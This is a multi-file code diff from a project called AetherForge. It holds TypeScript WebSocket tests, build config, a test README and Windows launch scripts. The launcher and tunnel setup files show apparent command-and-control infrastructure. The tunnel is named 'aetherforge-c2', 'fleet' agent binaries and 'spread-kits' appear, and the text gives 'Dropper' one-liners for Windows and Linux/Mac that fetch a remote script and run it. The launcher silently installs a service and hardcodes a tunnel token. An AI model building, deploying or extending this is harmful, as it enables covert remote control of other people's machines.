const fixtureDir = dirname(fileURLToPath(import.meta.url));
const goWSFixture = JSON.parse(
readFileSync(join(fixtureDir, '../../../internal/api/testdata/ws_types_fixture.json'), 'utf8'),
) as Record<string, string[]>;
function expectKeys(obj: Record<string, unknown>, keys: string[]) {
for (const key of keys) {
expect(Object.prototype.hasOwnProperty.call(obj, key)).toBe(true);
}
}
function sampleValue(field: string): unknown {
if (field === 'agents') return [];
if (field === 'success') return true;
if (field === 'line' || field === 'content' || field === 'message' || field === 'action' || field === 'agent_id') {
return 'sample';
}
return 0;
}
function buildSample(fields: string[]): Record<string, unknown> {
const sample: Record<string, unknown> = {};
for (const field of fields) {
sample[field] = field === 'agents' ? [mockAgent()] : sampleValue(field);
}
return sample;
}
describe('types/ws payloads', () => {
it('shared payload keys match Go ws_types.go fixture', () => {
for (const [typeName, fields] of Object.entries(goWSFixture)) {
expect(fields).toEqual([...fields].sort());
const sample = buildSample(fields);
expectKeys(sample, fields);
switch (typeName) {
case 'WSDashboardInit':
void (sample as WSDashboardInit);
break;
case 'WSAgentOffline':
void (sample as WSAgentOffline);
break;
case 'WSStatsUpdate':
void (sample as WSStatsUpdate);
break;
case 'WSCommandResult':
void (sample as WSCommandResult);
break;
case 'WSAgentLog':
void (sample as WSAgentLog);
break;
case 'WSServerLog':
void (sample as WSServerLog);
break;
default:
throw new Error(`unexpected WS type in Go fixture: ${typeName}`);
}
}
});
it('WSDashboardInit carries agents array', () => {
const init: WSDashboardInit = { agents: [mockAgent()] };
expectKeys(init as unknown as Record<string, unknown>, ['agents']);

View File

@@ -1,6 +1,10 @@
import type { Agent, AgentService } from '../types';
/** Dashboard WebSocket payloads — keep in sync with server/internal/api/ws_types.go */
/**
* Dashboard WebSocket payloads — keep in sync with server/internal/api/ws_types.go
* Shared types: WSDashboardInit, WSAgentOffline, WSStatsUpdate, WSCommandResult, WSAgentLog, WSServerLog
* Cross-language drift guard: server/internal/api/testdata/ws_types_fixture.json (Go ws_types_test.go, TS ws.test.ts)
*/
export interface WSDashboardInit {
agents: Agent[];
}

View File

@@ -22,5 +22,20 @@ export default defineConfig({
build: {
outDir: 'dist',
sourcemap: false,
rollupOptions: {
output: {
manualChunks(id) {
if (/node_modules[/\\](three|@react-three)/.test(id)) {
return 'three';
}
if (/node_modules[/\\]recharts/.test(id)) {
return 'recharts';
}
if (id.includes('node_modules')) {
return 'vendor';
}
},
},
},
},
})

View File

@@ -1,4 +1,4 @@
@echo off
:: Double-click launcher — delegates to full build + run pipeline.
cd /d "%~dp0"
call "%~dp0run.bat"
call "%~dp0devrun.bat"

View File

@@ -22,8 +22,11 @@ Or with PowerShell directly:
| 4 | Frontend unit tests (Vitest) | `server/web/` |
| 5 | Frontend production build | `server/web/` |
| 6 | Server binary compile | `server/` |
| 7 | Agent binary compile | `agent/` |
| 8 | E2E smoke (Playwright) | `server/web/e2e/` — starts temp server |
| 7 | Agent binary compile (Windows) | `agent/``bin/install-worker.exe` |
| 7b | Agent cross-compile (linux/darwin) | `agent/``bin/install-worker-*` |
| 8 | E2E smoke (Playwright) | `server/web/e2e/` — starts temp server on :18989 |
Phases 57 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-SkipE2E`.
## Run individual suites
@@ -58,7 +61,9 @@ cd server\web && npm run test:e2e
- **Frontend:** `src/**/*.test.ts` (Vitest)
- **E2E:** `server/web/e2e/*.spec.ts` (Playwright)
Coverage areas: forge/fusion, auth, DB, pool reconnect, API routes, fleet filters, preflight validation, media crypto roundtrip, dashboard login smoke, remote actions UI (offline gating via Playwright API mock).
Coverage areas: forge/fusion, auth, DB, pool reconnect, API routes, fleet filters, preflight validation, media crypto roundtrip, dashboard login smoke, remote actions UI (offline gating).
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (AgentsPage prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version.
### Agent logs (not a missing API)

View File

@@ -2,12 +2,33 @@
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"
set "ROOT=%CD%"
echo.
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
if exist "%CD%\AetherForge.exe" (
set "ROOT=!CD!"
) else if exist "%CD%\usb\AetherForge.exe" (
cd /d "%CD%\usb"
set "ROOT=!CD!"
) else (
echo.
echo ERROR: AetherForge.exe not found.
echo Expected next to this script, or in usb\AetherForge.exe
echo Run pack-usb.bat from the repo to build the portable bundle.
echo.
pause
exit /b 1
)
if not exist "%ROOT%\AetherForge.exe" (
echo ERROR: AetherForge.exe missing in %ROOT%
pause
exit /b 1
)
echo ================================================================
echo AetherForge - Portable Control Deck
echo ================================================================
echo Deck: %ROOT%
echo.
:: ----------------------------------------------------------------
@@ -123,108 +144,79 @@ if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare"
:: ----------------------------------------------------------------
:: 5. Cloudflare Tunnel — auto-install, configure, start
:: 5. Cloudflare Tunnel — MSI + token service (no JSON setup)
:: ----------------------------------------------------------------
set "CF_DIR=%ROOT%\cloudflare"
set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json"
set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi"
set "CF_HOSTNAME=killa.thetempleofdoom.com"
set "CF_DATA=%ROOT%\data\cloudflare"
set "SERVER_PORT=8989"
set "CF_MSI=%ROOT%\cloudflare\cloudflared-windows-amd64.msi"
if not exist "%CF_MSI%" set "CF_MSI=%~dp0cloudflared-windows-amd64.msi"
if not exist "%CF_MSI%" set "CF_MSI=%~dp0..\cloudflared-windows-amd64.msi"
set "CF_TOKEN=eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWFhYzYzMTctMzgyYS00OTM3LTgxY2YtYjM2ZjVkNjZjYTU4IiwicyI6Ik1XRXlaV0ZqTlRndE5XTTRPUzAwT0RCa0xXRTNaR010WkdRNU56UTJZMlJoTmpNMiJ9"
set "CF_HOSTNAME=killa.thetempleofdoom.com"
set "CF_BIN="
set "CF_TUNNEL_ID="
set "CF_READY=0"
:: Check credentials exist and are real (not the placeholder)
if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds
powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul
if errorlevel 1 goto cf_no_creds
:: Parse tunnel ID from credentials JSON
for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i"
if "!CF_TUNNEL_ID!"=="" goto cf_no_creds
echo [CF] Tunnel ID: !CF_TUNNEL_ID!
:: Stage credentials into data\cloudflare\ (idempotent)
set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json"
if not exist "!CF_CREDS_LOCAL!" (
copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul
echo [CF] Credentials staged to data\cloudflare\
)
:: Always regenerate config.yml with current absolute paths
:: (handles drive-letter changes when USB is moved)
set "CF_CONFIG=%CF_DATA%\config.yml"
powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul
echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT%
:: ---- Locate or install cloudflared ----
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
goto cf_have_bin
goto cf_check_service
)
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
goto cf_have_bin
goto cf_check_service
)
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
goto cf_have_bin
goto cf_check_service
)
:: Not found — install from bundled MSI
if exist "%CF_MSI%" (
echo [CF] cloudflared not found. Installing from bundled MSI...
msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log"
echo [CF] MSI install launched - waiting...
ping -n 8 127.0.0.1 >nul
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
echo [CF] cloudflared installed successfully.
goto cf_have_bin
)
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
echo [CF] cloudflared installed successfully.
goto cf_have_bin
)
echo [CF] WARNING: MSI completed but cloudflared not found in PATH.
echo [CF] Try re-running LAUNCH.bat after a reboot.
goto cf_done
) else (
echo [CF] WARNING: cloudflared not installed and no MSI bundled.
if not exist "%CF_MSI%" (
echo [CF] WARNING: cloudflared not found and no MSI bundled. Skipping tunnel.
goto cf_done
)
echo [CF] Installing cloudflared from bundled MSI...
msiexec /i "%CF_MSI%" /quiet /norestart
echo [CF] Waiting for MSI to complete...
ping -n 10 127.0.0.1 >nul
:cf_have_bin
where cloudflared >nul 2>nul
if not errorlevel 1 ( set "CF_BIN=cloudflared" & goto cf_check_service )
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
goto cf_check_service
)
echo [CF] WARNING: MSI installed but cloudflared still not found. Run as Administrator.
goto cf_done
:cf_check_service
echo [CF] Binary: !CF_BIN!
:: Check if cloudflared tunnel already running (same process = skip)
tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul
sc query cloudflared >nul 2>nul
if not errorlevel 1 (
echo [CF] Tunnel already running on this machine.
echo [CF] https://!CF_HOSTNAME!
echo [CF] Tunnel service already registered.
goto cf_start_service
)
echo [CF] Registering tunnel service with baked token...
"!CF_BIN!" service install %CF_TOKEN%
if errorlevel 1 (
echo [CF] WARNING: service install failed. Run LAUNCH.bat as Administrator once.
goto cf_done
)
echo [CF] Tunnel service registered.
ping -n 3 127.0.0.1 >nul
:cf_start_service
sc query cloudflared | findstr /I "RUNNING" >nul 2>nul
if not errorlevel 1 (
echo [CF] Tunnel already running — https://!CF_HOSTNAME!
set "CF_READY=1"
goto cf_done
)
:: Start cloudflared tunnel in background
echo [CF] Starting Cloudflare tunnel...
start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run
ping -n 5 127.0.0.1 >nul
net start cloudflared >nul 2>nul
ping -n 4 127.0.0.1 >nul
echo [CF] Tunnel live: https://!CF_HOSTNAME!
set "CF_READY=1"
goto cf_done
:cf_no_creds
echo [CF] No valid credentials.json in cloudflare\
echo [CF] See cloudflare\SETUP.txt to configure your tunnel once.
echo [CF] Running in LAN-only mode this session.
:cf_done
@@ -251,7 +243,7 @@ if "!CF_READY!"=="1" (
)
echo Data: %ROOT%\data\
echo.
echo First run: admin password printed to console below.
echo Dashboard login printed below each start.
echo Press Ctrl+C to stop.
echo ================================================================
echo.
@@ -271,8 +263,7 @@ if "!EC!"=="0" (
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
)
:: On exit, also stop the cloudflared tunnel
taskkill /F /IM cloudflared.exe >nul 2>nul
:: Cloudflare tunnel runs as a Windows service — stays up after LAUNCH.bat exits
echo.
pause

View File

@@ -1,45 +1,22 @@
========================================================
AetherForge — Cloudflare Tunnel One-Time Setup
Target hostname: killa.thetempleofdoom.com
AetherForge — Cloudflare Tunnel
https://killa.thetempleofdoom.com
========================================================
You only do this ONCE on any machine that has cloudflared.
After that, drop credentials.json in this folder and the
USB launcher handles everything automatically forever.
NO SETUP REQUIRED.
STEP 1 — Install cloudflared
Run LAUNCH.bat once — it will install cloudflared
from the bundled MSI automatically.
OR: msiexec /i cloudflared-windows-amd64.msi
The tunnel token is baked into LAUNCH.bat. On first run it will:
1. Install cloudflared from cloudflared-windows-amd64.msi (if needed)
2. Register the cloudflared Windows service with your token
3. Start the service — tunnel points at localhost:8989
STEP 2 — Authenticate with your Cloudflare account
cloudflared tunnel login
(Opens browser — log in, select thetempleofdoom.com)
This saves a cert.pem to %USERPROFILE%\.cloudflared\
Just double-click LAUNCH.bat in the parent folder (Run as Administrator
once if service install fails).
STEP 3 — Create the named tunnel
cloudflared tunnel create aetherforge-c2
Note the Tunnel ID printed (UUID format).
After that:
Dashboard: https://killa.thetempleofdoom.com
Dropper: iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
STEP 4 — Route your subdomain to the tunnel
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
(Adds CNAME: killa -> <tunnel-id>.cfargotunnel.com in your CF DNS)
STEP 5 — Copy credentials to this USB folder
The credentials JSON is at:
%USERPROFILE%\.cloudflared\<tunnel-id>.json
Copy it to this folder, overwriting credentials.json:
copy %USERPROFILE%\.cloudflared\<tunnel-id>.json cloudflare\credentials.json
STEP 6 — Done
From now on LAUNCH.bat detects the credentials, writes a
fresh config.yml automatically, and starts the tunnel.
The tunnel always connects to 127.0.0.1:8989 (localhost)
regardless of which network the machine is on.
credentials.json is NOT used — ignore the placeholder file if present.
========================================================
Tunnel URL after setup: https://killa.thetempleofdoom.com
Dashboard: https://killa.thetempleofdoom.com
Dropper (Windows): iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
Dropper (Linux/Mac): curl -sL https://killa.thetempleofdoom.com/install.sh | bash
========================================================